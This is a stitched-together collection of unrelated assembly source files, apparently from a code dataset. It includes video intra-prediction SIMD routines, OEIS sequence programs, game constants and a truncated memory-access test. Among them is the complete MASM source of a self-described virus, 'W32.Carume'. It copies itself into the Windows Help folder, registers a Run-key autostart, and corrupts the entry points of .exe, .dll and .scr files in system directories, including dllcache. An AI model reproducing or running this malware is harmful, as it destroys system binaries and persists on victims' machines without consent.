psrldq m2, m0, 2 ; l2, l1, tl, t1, t2, t3
; comments below are for a predictor like this
; A1 B1 C1 D1
; A2 B2 A1 B1
; A3 B3 A2 B2
; A4 B4 A3 B3
X_PLUS_2Y_PLUS_Z_PLUS_2_RSH_2 m0, m1, m2, m3 ; 3-tap avg B4 B3 B2 B1 C1 D1
pavgb m1, m0 ; 2-tap avg A4 A3 A2 A1
punpcklqdq m3, m1 ; B4 B3 B2 B1 C1 D1 x x A4 A3 A2 A1 ..
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
pshufb m3, [GLOBAL(sh_b8091a2b345)] ; A4 B4 A3 B3 A2 B2 A1 B1 C1 D1 ..
movd [dstq+stride3q ], m3
psrldq m3, 2 ; A3 B3 A2 B2 A1 B1 C1 D1 ..
movd [dstq+strideq*2], m3
psrldq m3, 2 ; A2 B2 A1 B1 C1 D1 ..
movd [dstq+strideq ], m3
psrldq m3, 2 ; A1 B1 C1 D1 ..
movd [dstq ], m3
RESTORE_GOT
RET
INIT_XMM ssse3
cglobal d153_predictor_8x8, 4, 5, 8, dst, stride, above, left, goffset
GET_GOT goffsetq
movq m0, [leftq] ; [0- 7] l1-8 [byte]
movhps m0, [aboveq-1] ; [8-15] tl, t1-7 [byte]
pshufb m1, m0, [GLOBAL(sh_b76543210)] ; l8-1 [word]
pshufb m2, m0, [GLOBAL(sh_b65432108)] ; l7-1,tl [word]
pshufb m3, m0, [GLOBAL(sh_b54321089)] ; l6-1,tl,t1 [word]
pshufb m0, [GLOBAL(sh_b89abcdef)] ; tl,t1-7 [word]
psrldq m4, m0, 1 ; t1-7 [word]
psrldq m5, m0, 2 ; t2-7 [word]
; comments below are for a predictor like this
; A1 B1 C1 D1 E1 F1 G1 H1
; A2 B2 A1 B1 C1 D1 E1 F1
; A3 B3 A2 B2 A1 B1 C1 D1
; A4 B4 A3 B3 A2 B2 A1 B1
; A5 B5 A4 B4 A3 B3 A2 B2
; A6 B6 A5 B5 A4 B4 A3 B3
; A7 B7 A6 B6 A5 B5 A4 B4
; A8 B8 A7 B7 A6 B6 A5 B5
pavgb m6, m1, m2 ; 2-tap avg A8-A1
X_PLUS_2Y_PLUS_Z_PLUS_2_RSH_2 m0, m4, m5, m7 ; 3-tap avg C-H1
X_PLUS_2Y_PLUS_Z_PLUS_2_RSH_2 m1, m2, m3, m0 ; 3-tap avg B8-1
punpcklbw m6, m0 ; A-B8, A-B7 ... A-B2, A-B1
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
movhps [dstq+stride3q], m6 ; A-B4, A-B3, A-B2, A-B1
palignr m0, m7, m6, 10 ; A-B3, A-B2, A-B1, C-H1
movq [dstq+strideq*2], m0
psrldq m0, 2 ; A-B2, A-B1, C-H1
movq [dstq+strideq ], m0
psrldq m0, 2 ; A-H1
movq [dstq ], m0
lea dstq, [dstq+strideq*4]
movq [dstq+stride3q ], m6 ; A-B8, A-B7, A-B6, A-B5
psrldq m6, 2 ; A-B7, A-B6, A-B5, A-B4
movq [dstq+strideq*2], m6
psrldq m6, 2 ; A-B6, A-B5, A-B4, A-B3
movq [dstq+strideq ], m6
psrldq m6, 2 ; A-B5, A-B4, A-B3, A-B2
movq [dstq ], m6
RESTORE_GOT
RET
INIT_XMM ssse3
cglobal d153_predictor_16x16, 4, 5, 8, dst, stride, above, left, goffset
GET_GOT goffsetq
mova m0, [leftq]
movu m7, [aboveq-1]
; comments below are for a predictor like this
; A1 B1 C1 D1 E1 F1 G1 H1 I1 J1 K1 L1 M1 N1 O1 P1
; A2 B2 A1 B1 C1 D1 E1 F1 G1 H1 I1 J1 K1 L1 M1 N1
; A3 B3 A2 B2 A1 B1 C1 D1 E1 F1 G1 H1 I1 J1 K1 L1
; A4 B4 A3 B3 A2 B2 A1 B1 C1 D1 E1 F1 G1 H1 I1 J1
; A5 B5 A4 B4 A3 B3 A2 B2 A1 B1 C1 D1 E1 F1 G1 H1
; A6 B6 A5 B5 A4 B4 A3 B3 A2 B2 A1 B1 C1 D1 E1 F1
; A7 B7 A6 B6 A5 B5 A4 B4 A3 B3 A2 B2 A1 B1 C1 D1
; A8 B8 A7 B7 A6 B6 A5 B5 A4 B4 A3 B3 A2 B2 A1 B1
; A9 B9 A8 B8 A7 B7 A6 B6 A5 B5 A4 B4 A3 B3 A2 B2
; Aa Ba A9 B9 A8 B8 A7 B7 A6 B6 A5 B5 A4 B4 A3 B3
; Ab Bb Aa Ba A9 B9 A8 B8 A7 B7 A6 B6 A5 B5 A4 B4
; Ac Bc Ab Bb Aa Ba A9 B9 A8 B8 A7 B7 A6 B6 A5 B5
; Ad Bd Ac Bc Ab Bb Aa Ba A9 B9 A8 B8 A7 B7 A6 B6
; Ae Be Ad Bd Ac Bc Ab Bb Aa Ba A9 B9 A8 B8 A7 B7
; Af Bf Ae Be Ad Bd Ac Bc Ab Bb Aa Ba A9 B9 A8 B8
; Ag Bg Af Bf Ae Be Ad Bd Ac Bc Ab Bb Aa Ba A9 B9
pshufb m6, m7, [GLOBAL(sh_bfedcba9876543210)]
palignr m5, m0, m6, 15
palignr m3, m0, m6, 14
X_PLUS_2Y_PLUS_Z_PLUS_2_RSH_2 m0, m5, m3, m4 ; 3-tap avg B3-Bg
pshufb m1, m0, [GLOBAL(sh_b123456789abcdeff)]
pavgb m5, m0 ; A1 - Ag
punpcklbw m0, m4, m5 ; A-B8 ... A-B1
punpckhbw m4, m5 ; A-B9 ... A-Bg
pshufb m3, m7, [GLOBAL(sh_b123456789abcdeff)]
pshufb m5, m7, [GLOBAL(sh_b23456789abcdefff)]
X_PLUS_2Y_PLUS_Z_PLUS_2_RSH_2 m7, m3, m5, m1 ; 3-tap avg C1-P1
pshufb m6, m0, [GLOBAL(sh_bfedcba9876543210)]
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
palignr m2, m1, m6, 14
mova [dstq ], m2
palignr m2, m1, m6, 12
mova [dstq+strideq ], m2
palignr m2, m1, m6, 10
mova [dstq+strideq*2], m2
palignr m2, m1, m6, 8
mova [dstq+stride3q ], m2
lea dstq, [dstq+strideq*4]
palignr m2, m1, m6, 6
mova [dstq ], m2
palignr m2, m1, m6, 4
mova [dstq+strideq ], m2
palignr m2, m1, m6, 2
mova [dstq+strideq*2], m2
pshufb m4, [GLOBAL(sh_bfedcba9876543210)]
mova [dstq+stride3q ], m6
lea dstq, [dstq+strideq*4]
palignr m2, m6, m4, 14
mova [dstq ], m2
palignr m2, m6, m4, 12
mova [dstq+strideq ], m2
palignr m2, m6, m4, 10
mova [dstq+strideq*2], m2
palignr m2, m6, m4, 8
mova [dstq+stride3q ], m2
lea dstq, [dstq+strideq*4]
palignr m2, m6, m4, 6
mova [dstq ], m2
palignr m2, m6, m4, 4
mova [dstq+strideq ], m2
palignr m2, m6, m4, 2
mova [dstq+strideq*2], m2
mova [dstq+stride3q ], m4
RESTORE_GOT
RET
INIT_XMM ssse3
cglobal d153_predictor_32x32, 4, 5, 8, dst, stride, above, left, goffset
GET_GOT goffsetq
mova m0, [leftq]
movu m7, [aboveq-1]
movu m1, [aboveq+15]
pshufb m4, m1, [GLOBAL(sh_b123456789abcdeff)]
pshufb m6, m1, [GLOBAL(sh_b23456789abcdefff)]
X_PLUS_2Y_PLUS_Z_PLUS_2_RSH_2 m1, m4, m6, m2 ; 3-tap avg above [high]
palignr m3, m1, m7, 1
palignr m5, m1, m7, 2
X_PLUS_2Y_PLUS_Z_PLUS_2_RSH_2 m7, m3, m5, m1 ; 3-tap avg above [low]
pshufb m7, [GLOBAL(sh_bfedcba9876543210)]
palignr m5, m0, m7, 15
palignr m3, m0, m7, 14
X_PLUS_2Y_PLUS_Z_PLUS_2_RSH_2 m0, m5, m3, m4 ; 3-tap avg B3-Bg
pavgb m5, m0 ; A1 - Ag
punpcklbw m6, m4, m5 ; A-B8 ... A-B1
punpckhbw m4, m5 ; A-B9 ... A-Bg
pshufb m6, [GLOBAL(sh_bfedcba9876543210)]
pshufb m4, [GLOBAL(sh_bfedcba9876543210)]
DEFINE_ARGS dst, stride, stride3, left, line
lea stride3q, [strideq*3]
palignr m5, m2, m1, 14
palignr m7, m1, m6, 14
mova [dstq ], m7
mova [dstq+16 ], m5
palignr m5, m2, m1, 12
palignr m7, m1, m6, 12
mova [dstq+strideq ], m7
mova [dstq+strideq+16 ], m5
palignr m5, m2, m1, 10
palignr m7, m1, m6, 10
mova [dstq+strideq*2 ], m7
mova [dstq+strideq*2+16], m5
palignr m5, m2, m1, 8
palignr m7, m1, m6, 8
mova [dstq+stride3q ], m7
mova [dstq+stride3q+16 ], m5
lea dstq, [dstq+strideq*4]
palignr m5, m2, m1, 6
palignr m7, m1, m6, 6
mova [dstq ], m7
mova [dstq+16 ], m5
palignr m5, m2, m1, 4
palignr m7, m1, m6, 4
mova [dstq+strideq ], m7
mova [dstq+strideq+16 ], m5
palignr m5, m2, m1, 2
palignr m7, m1, m6, 2
mova [dstq+strideq*2 ], m7
mova [dstq+strideq*2+16], m5
mova [dstq+stride3q ], m6
mova [dstq+stride3q+16 ], m1
lea dstq, [dstq+strideq*4]
palignr m5, m1, m6, 14
palignr m3, m6, m4, 14
mova [dstq ], m3
mova [dstq+16 ], m5
palignr m5, m1, m6, 12
palignr m3, m6, m4, 12
mova [dstq+strideq ], m3
mova [dstq+strideq+16 ], m5
palignr m5, m1, m6, 10
palignr m3, m6, m4, 10
mova [dstq+strideq*2 ], m3
mova [dstq+strideq*2+16], m5
palignr m5, m1, m6, 8
palignr m3, m6, m4, 8
mova [dstq+stride3q ], m3
mova [dstq+stride3q+16 ], m5
lea dstq, [dstq+strideq*4]
palignr m5, m1, m6, 6
palignr m3, m6, m4, 6
mova [dstq ], m3
mova [dstq+16 ], m5
palignr m5, m1, m6, 4
palignr m3, m6, m4, 4
mova [dstq+strideq ], m3
mova [dstq+strideq+16 ], m5
palignr m5, m1, m6, 2
palignr m3, m6, m4, 2
mova [dstq+strideq*2 ], m3
mova [dstq+strideq*2+16], m5
mova [dstq+stride3q ], m4
mova [dstq+stride3q+16 ], m6
lea dstq, [dstq+strideq*4]
mova m7, [leftq]
mova m3, [leftq+16]
palignr m5, m3, m7, 15
palignr m0, m3, m7, 14
X_PLUS_2Y_PLUS_Z_PLUS_2_RSH_2 m3, m5, m0, m2 ; 3-tap avg Bh -
pavgb m5, m3 ; Ah -
punpcklbw m3, m2, m5 ; A-B8 ... A-B1
punpckhbw m2, m5 ; A-B9 ... A-Bg
pshufb m3, [GLOBAL(sh_bfedcba9876543210)]
pshufb m2, [GLOBAL(sh_bfedcba9876543210)]
palignr m7, m6, m4, 14
palignr m0, m4, m3, 14
mova [dstq ], m0
mova [dstq+16 ], m7
palignr m7, m6, m4, 12
palignr m0, m4, m3, 12
mova [dstq+strideq ], m0
mova [dstq+strideq+16 ], m7
palignr m7, m6, m4, 10
palignr m0, m4, m3, 10
mova [dstq+strideq*2 ], m0
mova [dstq+strideq*2+16], m7
palignr m7, m6, m4, 8
palignr m0, m4, m3, 8
mova [dstq+stride3q ], m0
mova [dstq+stride3q+16 ], m7
lea dstq, [dstq+strideq*4]
palignr m7, m6, m4, 6
palignr m0, m4, m3, 6
mova [dstq ], m0
mova [dstq+16 ], m7
palignr m7, m6, m4, 4
palignr m0, m4, m3, 4
mova [dstq+strideq ], m0
mova [dstq+strideq+16 ], m7
palignr m7, m6, m4, 2
palignr m0, m4, m3, 2
mova [dstq+strideq*2 ], m0
mova [dstq+strideq*2+16], m7
mova [dstq+stride3q ], m3
mova [dstq+stride3q+16 ], m4
lea dstq, [dstq+strideq*4]
palignr m7, m4, m3, 14
palignr m0, m3, m2, 14
mova [dstq ], m0
mova [dstq+16 ], m7
palignr m7, m4, m3, 12
palignr m0, m3, m2, 12
mova [dstq+strideq ], m0
mova [dstq+strideq+16 ], m7
palignr m7, m4, m3, 10
palignr m0, m3, m2, 10
mova [dstq+strideq*2 ], m0
mova [dstq+strideq*2+16], m7
palignr m7, m4, m3, 8
palignr m0, m3, m2, 8
mova [dstq+stride3q ], m0
mova [dstq+stride3q+16 ], m7
lea dstq, [dstq+strideq*4]
palignr m7, m4, m3, 6
palignr m0, m3, m2, 6
mova [dstq ], m0
mova [dstq+16 ], m7
palignr m7, m4, m3, 4
palignr m0, m3, m2, 4
mova [dstq+strideq ], m0
mova [dstq+strideq+16 ], m7
palignr m7, m4, m3, 2
palignr m0, m3, m2, 2
mova [dstq+strideq*2 ], m0
mova [dstq+strideq*2+16], m7
mova [dstq+stride3q ], m2
mova [dstq+stride3q+16 ], m3
RESTORE_GOT
RET
| 37.927007 | 86 | 0.484796 |
fa26f1b62f53d8580d7bbddfa9311a8c5e5e1a5b | 549 | asm | Assembly | dependencies/groucho32.asm | gr0uch0dev/AssemblyExercisesAndNotes | 3b5fb0bb463dee439a8d7934d4ca74fe8f47179f | [
"MIT"
] | null | null | null | dependencies/groucho32.asm | gr0uch0dev/AssemblyExercisesAndNotes | 3b5fb0bb463dee439a8d7934d4ca74fe8f47179f | [
"MIT"
] | null | null | null | dependencies/groucho32.asm | gr0uch0dev/AssemblyExercisesAndNotes | 3b5fb0bb463dee439a8d7934d4ca74fe8f47179f | [
"MIT"
] | null | null | null | .386
.model flat, STDCALL
option casemap:none ; Case Sensitive
option PROC:private
PUBLIC GetLenString
.data
.code
;###########################
;# PROCEDURES #
;###########################
GetLenString PROC USES esi edx ebx, lp_string:DWORD
xor esi, esi
L1:
mov edx, lp_string
mov ebx, [lp_string]
movzx edx, BYTE PTR [ebx + esi]
cmp dl, 0
je quit
inc esi
jmp L1
quit:
mov ecx, esi; save the length of the string into ecx
ret
GetLenString ENDP
end
| 18.3 | 60 | 0.539162 |
2b1d283bc19b66a757a8324be2e258b60a906d45 | 104 | asm | Assembly | 6502EMU/Instructions/BRK.asm | austinbentley/6502toAVR | 98f43db3554741e6e25c0ab5acd394120a121c0d | [
"BSD-3-Clause"
] | null | null | null | 6502EMU/Instructions/BRK.asm | austinbentley/6502toAVR | 98f43db3554741e6e25c0ab5acd394120a121c0d | [
"BSD-3-Clause"
] | null | null | null | 6502EMU/Instructions/BRK.asm | austinbentley/6502toAVR | 98f43db3554741e6e25c0ab5acd394120a121c0d | [
"BSD-3-Clause"
] | null | null | null | /*
* BRK.asm
*
* Created: 5/13/2018 2:46:37 AM
* Author: ROTP
*/
BRK_implied: ;UNTESTED
break | 11.555556 | 33 | 0.586538 |
866a5c6ee41dbca8ba7da5909cab221f5c2a7e89 | 1,325 | asm | Assembly | src/constants.asm | hgwood/blox86 | 6c843b849ba751415e63298a449dd2ab966a4402 | [
"Apache-2.0"
] | 3 | 2020-05-08T21:26:40.000Z | 2020-05-09T15:55:26.000Z | src/constants.asm | hgwood/blox86 | 6c843b849ba751415e63298a449dd2ab966a4402 | [
"Apache-2.0"
] | null | null | null | src/constants.asm | hgwood/blox86 | 6c843b849ba751415e63298a449dd2ab966a4402 | [
"Apache-2.0"
] | null | null | null | ; gameplay constants
; absolute horizontal coordinate at which the player starts
; range: [1, 65 - player_size]
%assign initial_player_left_x 10
; width of the player at the start of the game
; range: [1, 64]
%assign initial_player_size 5
; absolute horizontal coordinate at which the ball starts
%assign initial_ball_x 10
; absolute vertical coordinate at which the ball starts
%assign initial_ball_y 10
; horizontal speed with which the ball starts
; the speed is measured in time ticks needed to travel from position n to n + 1
; notice that this unit is inverted, so greater values mean slower speeds
; zero means the ball is not moving horizontally, positive speed means going left, negative speed means going right
; range [1, 255]
%assign initial_ball_speed_x 2
; vertical speed with which the ball starts
; same remarks as for horizontal speed apply
%assign initial_ball_speed_y 2
; the score with which the player starts
%assign initial_score 0
; specifies how many spatial units can a player traval with one key press
%assign player_speed_multiplier 4
; constant positions and sizes
%assign arena_width 64
%assign arena_height 24
%assign arena_left_x 1
%assign arena_top_y 1
%assign arena_right_x arena_left_x + arena_width
%assign arena_bottom arena_height + 1
; character constants
%assign empty_char 20h ; ' '
| 36.805556 | 115 | 0.798491 |
8b8d61dd7a83a843d64e847f7409d0777e9bbde6 | 296 | asm | Assembly | programs/oeis/021/A021895.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/021/A021895.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/021/A021895.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A021895: Decimal expansion of 1/891.
; 0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,9,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,9,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,9,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,9,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,9,0,0,1,1,2,2,3,3,4
add $0,1
mod $0,18
add $0,1
div $0,2
add $0,9
mod $0,10
| 29.6 | 199 | 0.540541 |
c44fb888355f7931067d607176ea11632f9edefe | 286 | asm | Assembly | oeis/131/A131951.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/131/A131951.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/131/A131951.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A131951: 2^n+n*(n+3).
; Submitted by Jamie Morken(s3.)
; 1,6,14,26,44,72,118,198,344,620,1154,2202,4276,8400,16622,33038,65840,131412,262522,524706,1049036,2097656,4194854,8389206,16777864,33555132,67109618
mov $1,2
pow $1,$0
add $1,$0
add $0,1
pow $0,2
add $1,$0
mov $0,$1
sub $0,1
| 22 | 151 | 0.695804 |
a279a479cb8dcb41ccee41968211236aee7043f7 | 6,866 | asm | Assembly | Win32/Win32.Carume/Win32.Carume.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | Win32/Win32.Carume/Win32.Carume.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | Win32/Win32.Carume/Win32.Carume.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | ;
; W32.Carume
;
; Written by RadiatioN @ XERO VX and hacking group in February-March 2006
;
; THIS FILE HAS NO COPYRIGHTS! I AM NOT RESPONSIBLE FOR ANY DAMAGE WITH THAT CODE!
;
; Compile with masm 8.2
;
; greetings to vBx and SkyOut
;
; What does this Code?
; - Copy itself to %WINDIR%\Help\WinHelpCenter.exe
; - Adds a new registry entry for autostarting itself
; - Searches in
; %WINDIR%\ServicePackFiles\i386\
; %WINDIR%\
; %WINDIR%\system32\
; %WINDIR%\system32\dllcache\
; for file extension files like
; .exe
; .dll
; .scr
; to infect it
; - infecting file by changing the RVA entry point of the file
;
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
include advapi32.inc
includelib user32.lib
includelib kernel32.lib
includelib advapi32.lib
.data
; Directories to infect
szDirectory db "\ServicePackFiles\i386\", 0, "\", 0, "\system32\", 0, "\system32\dllcache\", 0
dwDirPos dword 0
dwDirCount dword 0
;virus name
szVirName db "W32.Carume",0
; file extensions to find
szFileExtension db ".exe", 0, ".dll", 0, ".scr", 0
dwFileExPos dword 0
dwFileExCount dword 0
; Rest of variables
szWinDir db 260 dup(0)
szDirDest db 260 dup(0)
szWildcard db '*',0
szNewDir db "\Help\WinHelpCenter.exe",0
szKey db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0
szValueName db "WinHelpCenter",0
hSearch dword 0
dwRetVal dword 0
check dword 0
dwDamnStuff dword 0
dwStartOfPE dword 0
dwEntryPoint dword 0
dwCount dword 0
hKey dword 0
; WIN32_FIND_DATA structure
dwFileAttributes dword 0
;FILETIME structure
ftCreationTime dword 0
ftCreationTime2 dword 0
;FILETIME structure
ftLastAccessTime dword 0
ftLastAccessTime2 dword 0
;FILETIME structure
ftLastWriteTime dword 0
ftLastWriteTime2 dword 0
nFileSizeHigh dword 0
nFileSizeLow dword 0
dwReserved0 dword 0
dwReserved1 dword 0
cFileName db 260 dup(0)
cAlternateFileName db 14 dup(0)
.code
start:
;Copy File to %WINDIR%\Help\WinHelpCenter.exe
invoke GetWindowsDirectory, offset szWinDir, 260
push offset szDirDest
push offset szNewDir
push offset szWinDir
call StrCatDest
invoke GetCommandLine
push eax
call RemoveFirstLast
invoke CopyFile, eax, offset szDirDest, TRUE
invoke RegCreateKey, HKEY_LOCAL_MACHINE, offset szKey, offset hKey
invoke lstrlen, offset szDirDest
invoke RegSetValueEx, hKey, offset szValueName, 0, REG_SZ, offset szDirDest, eax
NextDir:
;go through directorys and infect the files
push offset dwDirPos
push offset szDirectory
call GetNextString
inc dwDirCount
mov esi, eax
push offset szDirDest
push esi
push offset szWinDir
call StrCatDest
push offset szDirDest
push offset szWildcard
push offset szDirDest
call StrCatDest
invoke FindFirstFile, offset szDirDest, offset dwFileAttributes
mov hSearch, eax
nextfile:
push offset dwFileExPos
push offset szFileExtension
call GetNextString
inc dwFileExCount
push eax
push offset cFileName
call InStr2
cmp eax, 1
je Infect
cmp dwFileExCount, 3
jne nextfile
jmp NoInfection
Infect:
push offset szDirDest
push esi
push offset szWinDir
call StrCatDest
push offset cFileName
push offset szDirDest
call StrCat
;File infection methods
;GENERIC_READ | GENERIC_WRITE
mov eax, 0C0000000h
;open file
invoke CreateFile, addr szDirDest, eax, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
mov dwRetVal, eax
;read start of PE header and add value for entry point offset
invoke SetFilePointer, dwRetVal, 03Ch, NULL, FILE_BEGIN
invoke ReadFile, dwRetVal, offset dwStartOfPE, 4, offset dwDamnStuff, NULL
add dwStartOfPE, 028h
;read entry point and a value
invoke SetFilePointer, dwRetVal, dwStartOfPE, NULL, FILE_BEGIN
invoke ReadFile, dwRetVal, offset dwEntryPoint, 4, offset dwDamnStuff, NULL
add dwEntryPoint, 210h
;write new entry point
invoke SetFilePointer, dwRetVal, -4, NULL, FILE_CURRENT
invoke WriteFile, dwRetVal, offset dwEntryPoint, 4, offset dwDamnStuff, NULL
invoke CloseHandle, dwRetVal
NoInfection:
mov dwFileExPos, 0
mov dwFileExCount, 0
invoke FindNextFile, hSearch, offset dwFileAttributes
cmp eax, 0
jnz nextfile
cmp dwDirCount, 4
jne NextDir
invoke ExitProcess, 0
;nearly equal to the C-function InStr()
InStr2:
pop ebp
pop ecx
pop check
mov edx, check
InStrLoop:
mov al, [ecx]
mov bl, [edx]
cmp al, bl
jne InStrRestore
inc edx
mov bl, [edx]
cmp bl, 0
je InStrTrue
jmp InStrResume
InStrRestore:
mov edx, check
InStrResume:
cmp al,0
je InStrFalse
cmp bl,0
je InStrFalse
inc ecx
jmp InStrLoop
InStrFalse:
mov eax, 0
push ebp
ret
InStrTrue:
mov eax, 1
push ebp
ret
;nearly equal to the c-function StrCat()
StrCat:
pop ebp
pop ecx
pop edx
StrCatLoop:
mov al, [ecx]
inc ecx
cmp al, 0
jne StrCatLoop
dec ecx
StrCatLoop2:
mov bl, [edx]
mov [ecx], bl
inc ecx
inc edx
cmp bl,0
jne StrCatLoop2
push ebp
ret
;modified function of StrCat copys destination string in the 3. argument
StrCatDest:
pop ebp
pop ebx
pop ecx
pop edx
StrCatDestLoop:
mov al, [ebx]
mov [edx], al
inc ebx
inc edx
cmp al, 0
jne StrCatDestLoop
dec ebx
dec edx
StrCatDestLoop2:
mov bl, [ecx]
mov [edx], bl
inc ecx
inc edx
cmp bl,0
jne StrCatDestLoop2
push ebp
ret
;equal to the c-function strcpy()
StrCpy:
pop ebp
pop ebx
pop ecx
StrCpyLoop:
mov al, [ebx]
mov [ecx], al
inc ecx
inc ebx
cmp al, 0
jne StrCpyLoop
push ebp
ret
;gets the next string in an array
GetNextString:
pop ebp
pop ebx
pop ecx
add ebx, [ecx]
mov al, [ecx]
cmp al, 0
jnz GetNextStringLoop
inc BYTE PTR [ecx]
mov eax, ebx
push ebp
ret
GetNextStringLoop:
mov al, [ebx]
inc ebx
inc BYTE PTR [ecx]
cmp al, 0
jnz GetNextStringLoop
push ebp
mov eax, ebx
ret
;removes the first and the last character of a string
RemoveFirstLast:
pop ebp
pop ebx
inc ebx
RemoveFirstLastLoop:
mov dl, [ebx]
dec ebx
mov [ebx], dl
inc ebx
inc ebx
cmp dl,0
jnz RemoveFirstLastLoop
dec ebx
dec ebx
dec ebx
dec ebx
xor dl, dl
mov [ebx], dl
push ebp
ret
end start
| 17.973822 | 106 | 0.659918 |
ccd9b1fc58a8e351e2705add5b55af87e30e95d7 | 262 | asm | Assembly | programs/oeis/021/A021037.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/021/A021037.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/021/A021037.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A021037: Duplicate of A010674.
; 0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0,3,0
mov $1,$0
mul $1,3
mod $1,6
| 37.428571 | 199 | 0.530534 |
e930b75c9ffd97b08370d791ace27294c6bf21fd | 196 | asm | Assembly | libsrc/_DEVELOPMENT/adt/p_stack/c/sdcc_iy/p_stack_empty_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/adt/p_stack/c/sdcc_iy/p_stack_empty_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/adt/p_stack/c/sdcc_iy/p_stack_empty_fastcall.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; int p_stack_empty_fastcall(p_stack_t *s)
SECTION code_clib
SECTION code_adt_p_stack
PUBLIC _p_stack_empty_fastcall
EXTERN asm_p_stack_empty
defc _p_stack_empty_fastcall = asm_p_stack_empty
| 16.333333 | 48 | 0.867347 |
21178169df7005547e6ea4e20866ba2561146ed0 | 194 | asm | Assembly | banklib.asm | traidna/MUMPS-TI99-4A | b19c5819999a6f204a20f0496a153ba23ee8edf4 | [
"CC0-1.0"
] | null | null | null | banklib.asm | traidna/MUMPS-TI99-4A | b19c5819999a6f204a20f0496a153ba23ee8edf4 | [
"CC0-1.0"
] | null | null | null | banklib.asm | traidna/MUMPS-TI99-4A | b19c5819999a6f204a20f0496a153ba23ee8edf4 | [
"CC0-1.0"
] | null | null | null | GoBank: ; r1 = 6002,6000 BANK0, BANK1
; r2 = address in bank to jump to
;
li r0,004E0h
mov r0,@SWBANK
mov r1,@SWBANK+2
li r0,00460h
mov r0,@SWBANK+4
mov r2,@SWBANK+6
b @SWBANK
| 14.923077 | 42 | 0.634021 |
2500d1d256411acd984aac532e45b48a64eb69a2 | 4,870 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_269.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_269.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_269.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xe494, %rsi
lea addresses_WC_ht+0xb294, %rdi
clflush (%rdi)
and %r15, %r15
mov $31, %rcx
rep movsq
nop
nop
add %r12, %r12
pop %rsi
pop %rdi
pop %rcx
